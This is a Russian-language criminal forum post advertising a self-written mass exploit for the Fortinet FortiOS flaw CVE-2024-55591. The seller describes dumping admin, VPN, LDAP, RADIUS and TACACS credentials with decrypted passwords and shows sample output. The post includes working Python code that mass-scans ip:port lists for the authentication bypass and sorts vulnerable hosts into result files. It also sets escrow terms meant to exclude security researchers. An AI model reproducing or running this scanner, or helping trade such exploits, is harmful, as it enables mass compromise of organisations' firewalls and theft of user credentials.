• XSS.stack #1 – первый литературный журнал от юзеров форума

CVE-2024-55591 Fortinet Mass-exploit 0/5

В этой теме можно использовать автоматический гарант!

Статус
Закрыто для дальнейших ответов.

barnaul

(L3) cache
Забанен
Регистрация
07.10.2023
Сообщения
192
Реакции
301
Гарант сделки
1
Пожалуйста, обратите внимание, что пользователь заблокирован
Цена
3000
Всем привет.

Продам самописный "боевой" многопоточный эксплойт CVE-2024-55591.
Уязвимые версии: 7.0.0 - 7.0.16

На вход подаёте список ip:port, он их проверяет на уязвимость, и если True запускает эксплойт.
Так же есть отдельный режим чека, чтобы отфильтровать большой список перед запуском на эксплойт.

Может дампить/добавлять любую дату с/на фортиОС.
На данный момент формат вывода такой (версия прошивки, впн порт, юзеры с дехеш паролями):
Код:
=========================================================================
1.1.1.1:4443
    version: FGT40F-7.4.3-FW-build2573-240201
    admin: my_admin:password
    sslvpn port: 10443
    local:
        user1;password1
        user2;password2
        user3;password3
    ldap:
        user1;password1;username;DC=EVILCORP,DC=COM;10.100.3.21
        user2;password2;username;DC=EVILCORP,DC=COM;10.100.3.22
        user3;password3;username;DC=EVILCORP,DC=COM;10.100.3.23
    radius:
        user1;password1;10.100.3.21
        user2;password2;10.100.3.22
        user3;password3;10.100.3.23
    tacacs:
        user1;password1;10.100.3.21
        user2;password2;10.100.3.22
        user3;password3;10.100.3.23
===============================================================

Первый контакт в ЛС, либо апрув в токсе по ЛС
Продано: 0/5
Доступен выкуп всех позиций одним баером


Только через гарант XSS.
Открываете сделку, заводите средства, даёте мне тестовый список хостов, я их прогоняю, показываю результат. Если всё окей, передаю сплойт и завершаем сделку
На проверку не более 2 часов, чтобы исключить "белых ходоков по своим делам".


Чекер хостов на вульну, чтобы вы могли предварительно проверить свой список (файл hosts.txt, формат ip:port)

Python:
import argparse
import sys
import time
from pathlib import Path
from queue import Queue
from threading import RLock, Thread

try:
    import requests
    from urllib3 import disable_warnings
except ImportError as err:
    print(f'[-] {err}:\n\tcmd> pip install requests')
    sys.exit(input('Press Enter to exit...'))


LOCK = RLock()
Q_HOSTS = Queue()
PATH = Path(__file__).parent
RES_DIR = PATH.joinpath('RESULTS')
Path.mkdir(RES_DIR, exist_ok=True)
disable_warnings()
EXIT_FLAG = False


class FortiChecker:

    def __init__(self, host, proxy=None):
        self.host = host if '://' in host \
            else 'https://' + host

    def is_available(self):
        try:
            requests.get(self.host, verify=False)
            return True
        except:
            return False

    def check_bypass(self):
        uri = '/service-worker.js?local_access_token=a9sdjhas8d'
        resp = requests.get(
            self.host + uri,
            verify=False
        )

        if resp.status_code == 200 \
        and 'api/v2/static' in resp.text:
            return 'vulnerable'
        return 'not_vulnerable'

def worker():
    while not Q_HOSTS.empty():
        host = Q_HOSTS.get()
        client = FortiChecker(host)
        if not client.is_available():
            msg(f'[-] {host} - unavailable')
            save_results('unavailable.txt', host)
            continue

        try:
            status = client.check_bypass()
        except Exception as err:
            msg(f'[-] {host} - login error - {err}')
            save_results('errors_log.txt', f'{host} - {err}')
            continue

        pref = '[+]' if status == 'vulnerable' else '[-]'
        msg(f'{pref} {host} - {status}')
        save_results(f'{status}.txt', f'{host}')

    global EXIT_FLAG
    EXIT_FLAG = True


def msg(string):
    with LOCK:
        print(string)


def save_results(filename, data):
    with open(f'{RES_DIR.joinpath(filename)}', 'a') as f:
        f.write(data + '\n')


def read_file(filename):
    with open(filename, 'r') as f:
        return {
            line.rstrip() for line in f
            if line.rstrip()
        }


def get_args():
    parser = argparse.ArgumentParser(
        description='Fortinet VPN SSL checker by barnaul'
    )

    parser.add_argument(
        '-f',
        dest='hosts_file',
        default='hosts.txt',
        help='Host-Creds file. Default: %(default)s')

    parser.add_argument(
        '-t',
        dest='threads',
        type=int,
        default=1,
        help='Threads number. Default: %(default)s')

    return parser.parse_args()


def main():
    args = get_args()
    hosts_file = PATH / args.hosts_file
    if not hosts_file.exists():
        print(f'[-] File not found: {hosts_file}')
        sys.exit(input('Press Enter to exit...'))

    for host in read_file(hosts_file):
        if host.count(':') != 1:
            print(f'[-] Wrong host format: {host}')
            continue
        Q_HOSTS.put(host)

    threads = args.threads
    if threads > Q_HOSTS.qsize():
        threads = Q_HOSTS.qsize()

    for _ in range(threads):
        t = Thread(
            target=worker,
            daemon=True,
        ).start()

    try:
        while not EXIT_FLAG:
            time.sleep(threads)
        print('[~] All tasks done')
    except KeyboardInterrupt:
        sys.exit('[~] Exit...')


if __name__ == '__main__':
    main()
 
Последнее редактирование модератором:
Статус
Закрыто для дальнейших ответов.
Верх